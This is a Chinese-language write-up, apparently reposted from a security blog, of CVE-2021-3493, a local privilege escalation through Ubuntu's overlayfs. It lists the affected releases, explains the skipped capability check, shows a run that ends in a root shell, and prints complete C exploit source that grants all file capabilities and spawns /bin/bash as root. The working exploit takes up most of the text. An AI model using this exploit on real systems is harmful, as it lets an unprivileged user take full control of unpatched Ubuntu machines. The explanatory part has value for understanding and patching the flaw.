影响范围
-
Ubuntu 20 10
-
Ubuntu 20 04 LTS
-
Ubuntu 18 04 LTS
-
Ubuntu 16 04 LTS
-
Ubuntu 14 04 ESM
漏洞类型
本地权限提升
利用条件
影响范围应用
漏洞概述
Ubuntu的一个具体问题是在Linux内核中的overlayfs文件系统,它没有正确地验证文件系统功能在用户名称空间方面的应用,由于Ubuntu中的一个补丁允许非特权的overlayfs挂载,本地攻击者可以利用它来获得更高的权限。
漏洞复现
ubuntu@ubuntu:~/CVE-2021-3493$ gcc exploit.c -o exploit
ubuntu@ubuntu:~/CVE-2021-3493$ ./exploit
bash-4.4# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(ubuntu)
bash-4.4# whoami
root
bash-4.4#
漏洞分析
Linux支持file capabilities扩展文件属性,该属性的作用类似于setuid-bit,但可以更细化,使用伪代码设置文件功能的简化过程如下所示:
setxattr(...):
if cap_convert_nscap(...) is not OK:
then fail
vfs_setxattr(...)
这里的关键调用是cap_convert_nscap,它检查有关namespaces的权限
如果我们在namespaces和mount上设置文件功能,就没有问题,而且我们有这样做的权限,问题是当OverlayFS将此操作转发到底层文件系统时,它只调用vfs_setxattr并跳过cap_convert_nscap中的检查,这允许在外部namespaces/mount中的文件上设置任意功能,在执行过程中也将应用这些功能。
在Linux 5.11中,对cap_convert_scap的调用被移动到vfssetx_attr中,因此它不再易受攻击。
漏洞EXP
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
#define DIR_BASE \\\"./ovlcap\\\"
#define DIR_WORK DIR_BASE \\\"/work\\\"
#define DIR_LOWER DIR_BASE \\\"/lower\\\"
#define DIR_UPPER DIR_BASE \\\"/upper\\\"
#define DIR_MERGE DIR_BASE \\\"/merge\\\"
#define BIN_MERGE DIR_MERGE \\\"/magic\\\"
#define BIN_UPPER DIR_UPPER \\\"/magic\\\"
static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, \\\"mkdir %s\\\", path);
}
static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, \\\"open %s\\\", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, \\\"write %s\\\", path);
close(fd);
}
static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;
if ((fi = open(src, O_RDONLY)) == -1)
err(1, \\\"open %s\\\", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, \\\"open %s\\\", dst);
char buf[4096];
ssize_t rd, wr;
for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, \\\"read %s\\\", src);
}
char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, \\\"write %s\\\", dst);
}
p += wr;
rd -= wr;
}
}
close(fi);
close(fo);
}
static int exploit()
{
char buf[4096];
sprintf(buf, \\\"rm -rf \\\'%s/\\\'\\\", DIR_BASE);
system(buf);
xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, \\\"unshare\\\");
xwritefile(\\\"/proc/self/setgroups\\\", \\\"deny\\\");
sprintf(buf, \\\"0 %d 1\\\", uid);
xwritefile(\\\"/proc/self/uid_map\\\", buf);
sprintf(buf, \\\"0 %d 1\\\", gid);
xwritefile(\\\"/proc/self/gid_map\\\", buf);
sprintf(buf, \\\"lowerdir=%s,upperdir=%s,workdir=%s\\\", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount(\\\"overlay\\\", DIR_MERGE, \\\"overlay\\\", 0, buf) == -1)
err(1, \\\"mount %s\\\", DIR_MERGE);
// all+ep
char cap[] = \\\"\\\\x01\\\\x00\\\\x00\\\\x02\\\\xff\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\xff\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\";
xcopyfile(\\\"/proc/self/exe\\\", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, \\\"security.capability\\\", cap, sizeof(cap) - 1, 0) == -1)
err(1, \\\"setxattr %s\\\", BIN_MERGE);
return 0;
}
int main(int argc, char *argv[])
{
if (strstr(argv[0], \\\"magic\\\") || (argc > 1 && !strcmp(argv[1], \\\"shell\\\"))) {
setuid(0);
setgid(0);
execl(\\\"/bin/bash\\\", \\\"/bin/bash\\\", \\\"--norc\\\", \\\"--noprofile\\\", \\\"-i\\\", NULL);
err(1, \\\"execl /bin/bash\\\");
}
pid_t child = fork();
if (child == -1)
err(1, \\\"fork\\\");
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}
execl(BIN_UPPER, BIN_UPPER, \\\"shell\\\", NULL);
err(1, \\\"execl %s\\\", BIN_UPPER);
}
参考链接
https://ubuntu.com/security/CVE-2021-3493
https://www.openwall.com/lists/oss-security/2021/04/16/1
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34345.html